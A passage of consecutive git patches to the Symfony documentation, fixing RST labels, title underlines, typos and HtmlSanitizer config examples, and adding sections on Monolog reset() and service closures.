@@ -1192,7 +1192,7 @@ Option          Description                                               Defaul
 Context Builders
 ----------------
 
-Instead of passing plain PHP arrays to the :ref:`serialization context <serializer-context>`,
+Instead of passing plain PHP arrays to the :ref:`serialization context <serializer_serializer-context>`,
 you can use "context builders" to define the context using a fluent interface::
 
     use Symfony\Component\Serializer\Context\Encoder\CsvEncoderContextBuilder;
diff --git a/serializer.rst b/serializer.rst
index 7c04923b4a2..4fc0490722f 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -90,7 +90,7 @@ possible to set the priority of the tag in order to decide the matching order.
     ``DateTime`` or ``DateTimeImmutable`` classes to avoid excessive memory
     usage and exposing internal details.
 
-.. _serializer-context:
+.. _serializer_serializer-context:
 
 Serializer Context
 ------------------
diff --git a/serializer/custom_context_builders.rst b/serializer/custom_context_builders.rst
index 6c083078301..720e319916e 100644
--- a/serializer/custom_context_builders.rst
+++ b/serializer/custom_context_builders.rst
@@ -11,7 +11,7 @@ How to Create your Custom Context Builder
 The :doc:`Serializer Component </components/serializer>` uses Normalizers
 and Encoders to transform any data to any data-structure (e.g. JSON).
 That serialization process can be configured thanks to a
-:ref:`serialization context <serializer-context>`, which can be built thanks to
+:ref:`serialization context <serializer_serializer-context>`, which can be built thanks to
 :ref:`context builders <component-serializer-context-builders>`.
 
 Each built-in normalizer/encoder has its related context builder. However, you

From 900909283a7c66de15aa656a2a86909a1778671f Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Thu, 2 Mar 2023 09:13:51 +0100
Subject: [PATCH 4374/7107] [Bundles] new directory structure for doctrine
 resources

---
 bundles/best_practices.rst | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index f1c8e4ad555..eecd1da7e44 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -167,10 +167,16 @@ Doctrine Entities/Documents
 
 If the bundle includes Doctrine ORM entities and/or ODM documents, it's
 recommended to define their mapping using XML files stored in
-``Resources/config/doctrine/``. This allows to override that mapping using the
+``config/doctrine/``. This allows to override that mapping using the
 :doc:`standard Symfony mechanism to override bundle parts </bundles/override>`.
 This is not possible when using annotations/attributes to define the mapping.
 
+.. caution::
+
+    The recommended bundle structure was changed in Symfony 5, read the
+    `Symfony 4.4 bundle documentation`_ for information about the old
+    structure.
+
 Tests
 -----
 
@@ -560,3 +566,4 @@ Learn more
 .. _`valid license identifier`: https://spdx.org/licenses/
 .. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions
 .. _`Travis CI`: https://docs.travis-ci.com/
+.. _`Symfony 4.4 bundle documentation`: https://symfony.com/doc/4.4/bundles.html#bundle-directory-structure

From 70777c04a522491d18b674952f7f8e6f7e4e6e3d Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 8 Mar 2023 11:36:11 +0100
Subject: [PATCH 4375/7107] Remove obsolete caution block

---
 bundles/best_practices.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index eecd1da7e44..16ce373c51a 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -171,12 +171,6 @@ recommended to define their mapping using XML files stored in
 :doc:`standard Symfony mechanism to override bundle parts </bundles/override>`.
 This is not possible when using annotations/attributes to define the mapping.
 
-.. caution::
-
-    The recommended bundle structure was changed in Symfony 5, read the
-    `Symfony 4.4 bundle documentation`_ for information about the old
-    structure.
-
 Tests
 -----
 

From cc0d134b8b57aea5b6e201e22c14abae794f6480 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 8 Mar 2023 11:37:09 +0100
Subject: [PATCH 4376/7107] Remove blank lines

---
 mailer.rst | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 4ad55b72f85..cd1eb8e0e68 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1582,6 +1582,3 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
 .. _`default_socket_timeout`: https://www.php.net/manual/en/filesystem.configuration.php#ini.default-socket-timeout
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
 .. _`App Password`: https://support.google.com/accounts/answer/185833
-
-
-

From d949325c125ea61edde54060adfdfd1a3552ffbb Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Wed, 16 Mar 2022 18:03:33 +0100
Subject: [PATCH 4377/7107] [Logging] Document the Monolog `reset()` method for
 long running processes

---
 logging.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/logging.rst b/logging.rst
index f25486c520d..e2472118192 100644
--- a/logging.rst
+++ b/logging.rst
@@ -367,6 +367,14 @@ information to your log entries.
 
 See :doc:`/logging/processors` for details.
 
+Handling logs in long running processes
+---------------------------------------
+
+During long running processes, logs can be accumulated into Monolog and cause some buffer overflow,
+memory increase or even non logical logs.
+Monolog in-memory data can be cleared using the ``reset()`` method on a ``Monolog\Logger`` instance.
+This should typically be called between every jobs/tasks that a long running process is working through.
+
 Learn more
 ----------
 

From 80d56a0119d9ad0b8cff33d8afbf064c07718575 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 8 Mar 2023 11:41:02 +0100
Subject: [PATCH 4378/7107] Reformatting

---
 logging.rst | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/logging.rst b/logging.rst
index e642a5220b7..c546701f78d 100644
--- a/logging.rst
+++ b/logging.rst
@@ -381,13 +381,14 @@ information to your log entries.
 
 See :doc:`/logging/processors` for details.
 
-Handling logs in long running processes
+Handling Logs in Long Running Processes
 ---------------------------------------
 
-During long running processes, logs can be accumulated into Monolog and cause some buffer overflow,
-memory increase or even non logical logs.
-Monolog in-memory data can be cleared using the ``reset()`` method on a ``Monolog\Logger`` instance.
-This should typically be called between every jobs/tasks that a long running process is working through.
+During long running processes, logs can be accumulated into Monolog and cause some
+buffer overflow, memory increase or even non logical logs. Monolog in-memory data
+can be cleared using the ``reset()`` method on a ``Monolog\Logger`` instance.
+This should typically be called between every job or task that a long running process
+is working through.
 
 Learn more
 ----------

From f25d340ecc602aa3391cfefb4e2e107578902635 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 7 Mar 2023 07:18:58 +0100
Subject: [PATCH 4379/7107] [Attributes] Add attributes overview for 6.2

---
 reference/attributes.rst | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index 98404e5c9f2..92c32058ff4 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -27,9 +27,12 @@ Contracts
 Dependency Injection
 ~~~~~~~~~~~~~~~~~~~~
 
+* :doc:`AsDecorator </service_container/service_decoration>`
 * :ref:`AsTaggedItem <tags_as-tagged-item>`
 * :ref:`Autoconfigure <lazy-services_configuration>`
 * :ref:`AutoconfigureTag <di-instanceof>`
+* :ref:`Autowire <autowire-attribute>`
+* :doc:`MapDecorated </service_container/service_decoration>`
 * :ref:`TaggedIterator <tags_reference-tagged-services>`
 * :ref:`TaggedLocator <service-subscribers-locators_defining-service-locator>`
 * :ref:`Target <autowiring-multiple-implementations-same-type>`
@@ -40,10 +43,17 @@ EventDispatcher
 
 * :ref:`AsEventListener <event-dispatcher_event-listener-attributes>`
 
+FrameworkBundle
+~~~~~~~~~~~~~~~
+
+* :ref:`AsRoutingConditionService <routing-matching-expressions>`
+
 HttpKernel
 ~~~~~~~~~~
 
 * :doc:`AsController </controller/service>`
+* :ref:`Cache <http-cache-expiration-intro>`
+* :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapDateTime`
 
 Messenger
 ~~~~~~~~~
@@ -59,6 +69,7 @@ Security
 ~~~~~~~~
 
 * :ref:`CurrentUser <security-json-login>`
+* :ref:`IsGranted <security-securing-controller-annotations>`
 
 Serializer
 ~~~~~~~~~~
@@ -69,9 +80,17 @@ Serializer
 * :ref:`Ignore <serializer_ignoring-attributes>`
 * :ref:`MaxDepth <serializer_handling-serialization-depth>`
 * :ref:`SerializedName <serializer_name-conversion>`
+* :ref:`SerializedPath <serializer-enabling-metadata-cache>`
+
+Twig
+~~~~
+
+* :ref:`Template <templates-template-attribute>`
 
 Validator
 ~~~~~~~~~
 
 Each validation constraint comes with a PHP attribute. See
 :doc:`/reference/constraints` for a full list of validation constraints.
+
+* :doc:`HasNamedArgument </validation/custom_constraint>`

From 66e04015347a3547f996c8a01fc3c1df98c447e1 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Wed, 8 Mar 2023 13:03:47 +0100
Subject: [PATCH 4380/7107] Use Doctor RST 1.41.0 and new rule
 `TitleUnderlineLengthMustMatchTitleLength`

---
 .doctor-rst.yaml                      | 1 +
 .github/workflows/ci.yaml             | 2 +-
 best_practices.rst                    | 4 ++--
 components/lock.rst                   | 2 +-
 components/runtime.rst                | 2 +-
 components/serializer.rst             | 2 +-
 controller.rst                        | 2 +-
 frontend/encore/bootstrap.rst         | 2 +-
 frontend/encore/virtual-machine.rst   | 2 +-
 mercure.rst                           | 2 +-
 reference/configuration/framework.rst | 2 +-
 reference/configuration/security.rst  | 2 +-
 reference/forms/types/choice.rst      | 2 +-
 reference/forms/types/tel.rst         | 2 +-
 reference/twig_reference.rst          | 2 +-
 15 files changed, 16 insertions(+), 15 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 209d697b25f..3bca2485231 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -47,6 +47,7 @@ rules:
     space_between_label_and_link_in_doc: ~
     space_between_label_and_link_in_ref: ~
     string_replacement: ~
+    title_underline_length_must_match_title_length: ~
     typo: ~
     unused_links: ~
     use_deprecated_directive_instead_of_versionadded: ~
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 89f4938c6b5..1139dcddf94 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.40.1
+                uses: docker://oskarstark/doctor-rst:1.41.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 
diff --git a/best_practices.rst b/best_practices.rst
index 32af3400c0a..159868118b3 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -229,7 +229,7 @@ important parts of your application.
 .. _best-practice-controller-annotations:
 
 Use Attributes or Annotations to Configure Routing, Caching, and Security
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Using attributes or annotations for routing, caching, and security simplifies
 configuration. You don't need to browse several files created with different
@@ -445,7 +445,7 @@ specific tests for each page.
 .. _hardcode-urls-in-a-functional-test:
 
 Hard-code URLs in a Functional Test
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 In Symfony applications, it's recommended to :ref:`generate URLs <routing-generating-urls>`
 using routes to automatically update all links when a URL changes. However, if a
diff --git a/components/lock.rst b/components/lock.rst
index fa048e56264..0907dc114ba 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -70,7 +70,7 @@ method can be safely called repeatedly, even if the lock is already acquired.
     third argument of the ``createLock()`` method to ``false``.
 
 Serializing Locks
-------------------
+-----------------
 
 The :class:`Symfony\\Component\\Lock\\Key` contains the state of the
 :class:`Symfony\\Component\\Lock\\Lock` and can be serialized. This
diff --git a/components/runtime.rst b/components/runtime.rst
index 7b187acaeee..c0cf100f809 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -3,7 +3,7 @@
    single: Components; Runtime
 
 The Runtime Component
-======================
+=====================
 
     The Runtime Component decouples the bootstrapping logic from any global state
     to make sure the application can run with runtimes like PHP-PM, ReactPHP,
diff --git a/components/serializer.rst b/components/serializer.rst
index 4034de81a5e..5a95823163d 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1069,7 +1069,7 @@ context to pass in these options using the key ``json_encode_options`` or
     $this->serializer->serialize($data, 'json', ['json_encode_options' => \JSON_PRESERVE_ZERO_FRACTION]);
 
 The ``CsvEncoder``
-~~~~~~~~~~~~~~~~~~~
+~~~~~~~~~~~~~~~~~~
 
 The ``CsvEncoder`` encodes to and decodes from CSV.
 
diff --git a/controller.rst b/controller.rst
index 13537ce27c7..e39af6dd3a0 100644
--- a/controller.rst
+++ b/controller.rst
@@ -19,7 +19,7 @@ to render the content of a page.
    single: Controller; Basic example
 
 A Basic Controller
--------------------
+------------------
 
 While a controller can be any PHP callable (function, method on an object,
 or a ``Closure``), a controller is usually a method inside a controller
diff --git a/frontend/encore/bootstrap.rst b/frontend/encore/bootstrap.rst
index 561bef79dde..f5b3959eafd 100644
--- a/frontend/encore/bootstrap.rst
+++ b/frontend/encore/bootstrap.rst
@@ -74,7 +74,7 @@ Now, require bootstrap from any of your JavaScript files:
     });
 
 Using Bootstrap with Turbo
----------------------------
+--------------------------
 
 If you are using bootstrap with Turbo Drive, to allow your JavaScript to load on each page change,
 wrap the initialization in a ``turbo:load`` event listener:
diff --git a/frontend/encore/virtual-machine.rst b/frontend/encore/virtual-machine.rst
index 793a74e3d40..c24d2b3670b 100644
--- a/frontend/encore/virtual-machine.rst
+++ b/frontend/encore/virtual-machine.rst
@@ -93,7 +93,7 @@ connections:
     otherwise other computers can have access to it.
 
 Fix "Invalid Host header" Issue
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Webpack will respond ``Invalid Host header`` when trying to access files from
 the dev-server. To fix this, set the ``allowedHosts`` option:
diff --git a/mercure.rst b/mercure.rst
index f6dfc33c90a..be70ae7ef92 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -614,7 +614,7 @@ Checkout `the dedicated API Platform documentation`_ to learn more about
 its Mercure support.
 
 Testing
---------
+-------
 
 During unit testing it's usually not needed to send updates to Mercure.
 
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 66e9d7f9f76..782f4c14173 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1227,7 +1227,7 @@ The value of this option is an associative array of ``domain => IP address``
 (e.g ``['symfony.com' => '46.137.106.254', ...]``).
 
 retry_strategy
-...............
+..............
 
 **type**: ``string``
 
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 40e1c7ef456..672d93b0b0a 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -413,7 +413,7 @@ If ``true``, users are always redirected to the default target path regardless
 of the previous URL that was stored in the session.
 
 default_target_path
-....................
+...................
 
 **type**: ``string`` **default**: ``/``
 
diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 59c75fb6ac5..6775b9d7f6c 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -318,7 +318,7 @@ Field Variables
     faster to use the :ref:`selectedchoice <form-twig-selectedchoice>` test.
 
 Accessing Form Choice Data
-...........................
+..........................
 
 The ``form.vars`` variable of each choice entry holds data such as whether the
 choice is selected or not. If you need to get the full list of choices data and
diff --git a/reference/forms/types/tel.rst b/reference/forms/types/tel.rst
index 8a99b6752c5..aebbe3de487 100644
--- a/reference/forms/types/tel.rst
+++ b/reference/forms/types/tel.rst
@@ -2,7 +2,7 @@
    single: Forms; Fields; TelType
 
 TelType Field
-===============
+=============
 
 The ``TelType`` field is a text field that is rendered using the HTML5
 ``<input type="tel">`` tag. Following the recommended HTML5 behavior, the value
diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 85c44bd57a3..4cb698217af 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -131,7 +131,7 @@ and :ref:`reference-assets-json-manifest-path` configuration options.
     Read more about :ref:`linking to web assets from templates <templates-link-to-assets>`.
 
 asset_version
-~~~~~~~~~~~~~~
+~~~~~~~~~~~~~
 
 .. code-block:: twig
 

From 0013f27697f0ef2c2aed6417a4351a66820298cc Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Wed, 8 Mar 2023 15:27:20 +0100
Subject: [PATCH 4381/7107] fix rst syntax for ci

---
 bundles/best_practices.rst           | 1 -
 html_sanitizer.rst                   | 2 +-
 reference/constraints/Expression.rst | 2 +-
 3 files changed, 2 insertions(+), 3 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 16ce373c51a..90206a6a8f2 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -560,4 +560,3 @@ Learn more
 .. _`valid license identifier`: https://spdx.org/licenses/
 .. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions
 .. _`Travis CI`: https://docs.travis-ci.com/
-.. _`Symfony 4.4 bundle documentation`: https://symfony.com/doc/4.4/bundles.html#bundle-directory-structure
diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index 429e4feef5e..71530a87065 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -828,7 +828,7 @@ URLs of ``<a>`` elements:
         );
 
 Force/Allow Media URLs
-~~~~~~~~~~~~~~~~~~~~~
+~~~~~~~~~~~~~~~~~~~~~~
 
 Like :ref:`link URLs <html-sanitizer-link-url>`, you can also control the
 URLs of other media in the HTML. The following attributes are checked by
diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index e7e8e23eb68..a51002040c0 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -263,7 +263,7 @@ Parameter        Description
 ===============  ==============================================================
 
 ``negate``
-~~~~~~~~~~~
+~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``true``
 

From c02b87d31704e1506b483e93c31149847c24b415 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 8 Mar 2023 15:40:09 +0100
Subject: [PATCH 4382/7107] [Session] Fix an RST syntax issue

---
 session.rst | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/session.rst b/session.rst
index aa40cbb20e0..cd9fb1f07a4 100644
--- a/session.rst
+++ b/session.rst
@@ -1129,9 +1129,6 @@ These are parameters that you can configure:
 ``expiry_field`` (default ``expires_at``):
     The name of the field where to store the session lifetime.
 
-.. index::
-    single: Sessions, saving locale
-
 Migrating Between Session Handlers
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From aa5a8ffe3f5ad598c652ffc91a96b6fc9faa54cb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 8 Mar 2023 15:42:38 +0100
Subject: [PATCH 4383/7107] [Doctrine] Fix a syntax issue

---
 doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index 2879ca54332..731cd06785f 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -664,7 +664,7 @@ using the ``MapEntity`` attribute::
 .. tip::
 
     When enabled globally, it's possible to disabled the behavior on a specific
-    controller, by using the ``MapEntity`` set to ``disabled``.
+    controller, by using the ``MapEntity`` set to ``disabled``::
 
         public function show(
             #[CurrentUser]

From 2c8a35d49416c90b3f5087327a410492730610bc Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 8 Mar 2023 20:23:42 +0100
Subject: [PATCH 4384/7107] [HtmlSanitizer] Fix API usage on PHP config files

---
 html_sanitizer.rst | 32 ++++++++++----------------------
 1 file changed, 10 insertions(+), 22 deletions(-)

diff --git a/html_sanitizer.rst b/html_sanitizer.rst
index 429e4feef5e..d5dbf99fa81 100644
--- a/html_sanitizer.rst
+++ b/html_sanitizer.rst
@@ -364,16 +364,13 @@ attributes from the `W3C Standard Proposal`_ are allowed.
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
                     // allow the <article> element and 2 attributes
-                    ->allowElement('article')
-                        ->attribute('class')
-                        ->attribute('data-attr')
+                    ->allowElement('article', ['class', 'data-attr'])
 
                     // allow the <img> element and preserve the src attribute
-                    ->allowElement('img')
-                        ->attribute('src')
+                    ->allowElement('img', 'src')
 
                     // allow the <h1> element with all safe attributes
-                    ->allowElement('h1', '*')
+                    ->allowElement('h1')
             ;
         };
 
@@ -528,12 +525,10 @@ on all elements allowed *before this setting*.
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
                     // allow "src' on <iframe> elements
-                    ->allowAttribute('src')
-                        ->element('iframe')
+                    ->allowAttribute('src', ['iframe'])
 
                     // allow "data-attr" on all elements currently allowed
-                    ->allowAttribute('data-attr')
-                        ->element('*')
+                    ->allowAttribute('data-attr', '*')
             ;
         };
 
@@ -620,12 +615,10 @@ This option allows you to disallow attributes that were allowed before.
                         ->element('*')
 
                     // ...except for the <section> element
-                    ->dropAttriute('data-attr')
-                        ->element('section')
+                    ->dropAttribute('data-attr', ['section'])
 
                     // disallows "style' on any allowed element
                     ->dropAttribute('style')
-                        ->element('*')
             ;
         };
 
@@ -640,7 +633,7 @@ This option allows you to disallow attributes that were allowed before.
                 ->allowAttribute('data-attr')
 
                 // ...except for the <section> element
-                ->dropAttriute('data-attr', ['section'])
+                ->dropAttribute('data-attr', ['section'])
 
                 // disallows "style' on any allowed element
                 ->dropAttribute('style')
@@ -695,8 +688,7 @@ element (even if the original one didn't contain a ``rel`` attribute):
         return static function (FrameworkConfig $framework) {
             $framework->htmlSanitizer()
                 ->sanitizer('app.post_sanitizer')
-                    ->forceAttribute('a')
-                        ->attribute('rel', 'noopener noreferrer')
+                    ->forceAttribute('a', 'rel', 'noopener noreferrer')
             ;
         };
 
@@ -791,9 +783,7 @@ URLs of ``<a>`` elements:
 
                     // specifies the allowed URL schemes. If the URL has a different scheme, the
                     // attribute will be dropped
-                    ->allowedLinkScheme('http')
-                    ->allowedLinkScheme('https')
-                    ->allowedLinkScheme('mailto')
+                    ->allowedLinkSchemes(['http', 'https', 'mailto'])
 
                     // specifies the allowed hosts, the attribute will be dropped if the
                     // URL contains a different host
@@ -907,9 +897,7 @@ the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
 
                     // specifies the allowed URL schemes. If the URL has a different scheme, the
                     // attribute will be dropped
-                    ->allowedMediaScheme('http')
-                    ->allowedMediaScheme('https')
-                    ->allowedMediaScheme('mailto')
+                    ->allowedMediaSchemes(['http', 'https', 'mailto'])
 
                     // specifies the allowed hosts, the attribute will be dropped if the URL
                     // contains a different host

From d325c3680f9f82afa297454af4a8152ef4eb954f Mon Sep 17 00:00:00 2001
From: Jacob Dreesen <jacob@hdreesen.de>
Date: Thu, 9 Mar 2023 00:02:45 +0100
Subject: [PATCH 4385/7107] Fix typos in Symfony Attributes Overview

---
 reference/attributes.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/attributes.rst b/reference/attributes.rst
index 98404e5c9f2..c77662b5c69 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -4,9 +4,9 @@
 Symfony Attributes Overview
 ===========================
 
-Attributes are the successor of annotation since PHP 8. Attributes are native
+Attributes are the successor of annotations since PHP 8. Attributes are native
 to the language and Symfony takes full advantage of them across the framework
-ans its different components.
+and its different components.
 
 Doctrine Bridge
 ~~~~~~~~~~~~~~~

From f2b2fdb9d0d40794a19b53dcc5c5e3e6a57e8b31 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Thu, 19 Aug 2021 15:47:53 +0200
Subject: [PATCH 4386/7107] [DI] Add section about Service Closures

---
 service_container/lazy_services.rst           |   3 +-
 service_container/service_closures.rst        | 115 ++++++++++++++++++
 .../service_subscribers_locators.rst          |   5 +
 3 files changed, 122 insertions(+), 1 deletion(-)
 create mode 100644 service_container/service_closures.rst

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 507be3d2f1a..75438026a57 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -6,7 +6,8 @@ Lazy Services
 
 .. seealso::
 
-    Another way to inject services lazily is via a :doc:`service subscriber </service_container/service_subscribers_locators>`.
+    Other ways to inject services lazily are via a :doc:`service closure </service_container/service_closures>` or
+    :doc:`service subscriber </service_container/service_subscribers_locators>`.
 
 Why Lazy Services?
 ------------------
diff --git a/service_container/service_closures.rst b/service_container/service_closures.rst
new file mode 100644
index 00000000000..d490bcb3769
--- /dev/null
+++ b/service_container/service_closures.rst
@@ -0,0 +1,115 @@
+.. index::
+    single: DependencyInjection; Service Closures
+
+Service Closures
+================
+
+.. versionadded:: 5.4
+
+    The ``service_closure()`` function was introduced in Symfony 5.4.
+
+This feature wraps the injected service into a closure allowing it to be
+lazily loaded when and if needed.
+This is useful if the service being injected is a bit heavy to instantiate
+or is used only in certain cases.
+The service is instantiated the first time the closure is called, while
+all subsequent calls return the same instance, unless the service is
+:doc:`not shared </service_container/shared>`::
+
+    // src/Service/MyService.php
+    namespace App\Service;
+
+    use Symfony\Component\Mailer\MailerInterface;
+
+    class MyService
+    {
+        /**
+         * @var callable(): MailerInterface
+         */
+        private \Closure $mailer;
+
+        public function __construct(\Closure $mailer)
+        {
+            $this->mailer = $mailer;
+        }
+
+        public function doSomething(): void
+        {
+            // ...
+
+            $this->getMailer()->send($email);
+        }
+
+        private function getMailer(): MailerInterface
+        {
+            return ($this->mailer)();
+        }
+    }
+
+To define a service closure and inject it to another service, create an
+argument of type ``service_closure``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            App\Service\MyService:
+                arguments: [!service_closure '@mailer']
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <service id="App\Service\MyService">
+                    <argument type="service_closure" id="mailer"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use App\Service\MyService;
+
+        return function (ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
+
+            $services->set(MyService::class)
+                ->args([service_closure('mailer')]);
+
+            // In case the dependency is optional
+            // $services->set(MyService::class)
+            //     ->args([service_closure('mailer')->ignoreOnInvalid()]);
+        };
+
+.. seealso::
+
+    Another way to inject services lazily is via a
+    :doc:`service locator </service_container/service_subscribers_locators>`.
+
+Using a Service Closure in a Compiler Pass
+------------------------------------------
+
+In :doc:`compiler passes </service_container/compiler_passes>` you can create
+a service closure by wrapping the service reference into an instance of
+:class:`Symfony\\Component\\DependencyInjection\\Argument\\ServiceClosureArgument`::
+
+    use Symfony\Component\DependencyInjection\Argument\ServiceClosureArgument;
+    use Symfony\Component\DependencyInjection\ContainerBuilder;
+    use Symfony\Component\DependencyInjection\Reference;
+
+    public function process(ContainerBuilder $containerBuilder): void
+    {
+        // ...
+
+        $myService->addArgument(new ServiceClosureArgument(new Reference('mailer')));
+    }
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index d7d59984032..efa6d71549f 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -12,6 +12,11 @@ instantiation of the services to be lazy. However, that's not possible using
 the explicit dependency injection since services are not all meant to
 be ``lazy`` (see :doc:`/service_container/lazy_services`).
 
+.. seealso::
+
+    Another way to inject services lazily is via a
+    :doc:`service closure </service_container/service_closures>`.
+
 This can typically be the case in your controllers, where you may inject several
 services in the constructor, but the action called only uses some of them.
 Another example are applications that implement the `Command pattern`_

From 41508658d7e30ffc0b75c7727f8382f5cfc3a94d Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 9 Mar 2023 09:13:12 +0100
Subject: [PATCH 4387/7107] Remove obsolete versionadded directive

---
 service_container/service_closures.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/service_container/service_closures.rst b/service_container/service_closures.rst
index d490bcb3769..54b4db7f4a7 100644
--- a/service_container/service_closures.rst
+++ b/service_container/service_closures.rst
@@ -4,10 +4,6 @@
 Service Closures
 ================
 
-.. versionadded:: 5.4
-
-    The ``service_closure()`` function was introduced in Symfony 5.4.
-
 This feature wraps the injected service into a closure allowing it to be
 lazily loaded when and if needed.
 This is useful if the service being injected is a bit heavy to instantiate

From 168d5f23e1cc60a46f4dd8cf11dad1df036d4227 Mon Sep 17 00:00:00 2001
From: JoxMartin <martin.joachim@gmail.com>
Date: Thu, 9 Mar 2023 10:44:10 +0100
Subject: [PATCH 4388/7107] Fix typo in routing

There was a typo in the Matching expression section
---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index e5069980974..e6823db145b 100644
--- a/routing.rst
+++ b/routing.rst
